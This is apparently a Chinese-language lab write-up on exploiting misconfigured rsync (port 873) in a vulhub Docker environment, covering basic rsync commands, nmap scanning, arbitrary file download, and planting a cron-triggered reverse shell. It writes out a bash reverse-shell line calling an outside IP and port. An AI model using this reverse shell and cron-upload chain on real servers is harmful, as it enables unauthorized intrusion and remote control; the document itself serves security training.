介绍
rsync
是一个用于文件和目录同步的强大工具,常用于在本地或远程主机之间复制和同步文件。它不仅支持局域网内的快速文件传输,还可以通过 SSH 进行远程同步。rsync
的主要特点是增量同步,即只传输发生变化的文件部分,从而提高传输效率
如何rsync配置不当,会造成任何人可以未授权访问上传下载服务器文件。端口873
rsync相关命令
(1)本地文件同步
将 /path/to/source/
文件夹同步到 /path/to/destination/
文件夹:
rsync -av /path/to/source/ /path/to/destination/
(2)通过SSH同步文件到远程主机
将本地 /path/to/source/
同步到远程主机 remote_host
的 /path/to/destination/
目录:
rsync -avz -e ssh /path/to/source/ user@remote_host:/path/to/destination/
(3)从远程主机同步文件到本地
将远程主机 remote_host
的 /path/to/source/
目录同步到本地 /path/to/destination/
:
rsync -avz -e ssh user@remote_host:/path/to/source/ /path/to/destination/
(4)删除目标中文件没有的内容
同步本地文件夹 /path/to/source/
到 /path/to/destination/
,并删除目标目录中源目录没有的文件:
rsync -av --delete /path/to/source/ /path/to/destination/
环境
vulhub漏洞docker
漏洞利用
进入环境

nmap主机发现

发现是136的主机,进行全端口的扫描

-sT -sV -O 对873端口扫描服务的端口信息(操作系统版本)

nmap脚本扫描是否存在RSYNC的未授权访问(有)

用rsync的命令工具命令读取文件

查看src模块下的文件

进行任意文件的下载
任意文件下载
在攻击机看到已经下载在kali机的目录下了
、
查看文件的信息

查看定时任务并下载在kali里

查看文件大概是17分钟用一个/etc/cron.hourly

创建一个shell并写入反弹命令(/bin/bash -i >& /dev/tcp/47.100.167.248/1111 0>&1(写在shell文件里面)
查看写入的命令

nc监听

上传shell

如果文章有错请各位大佬指正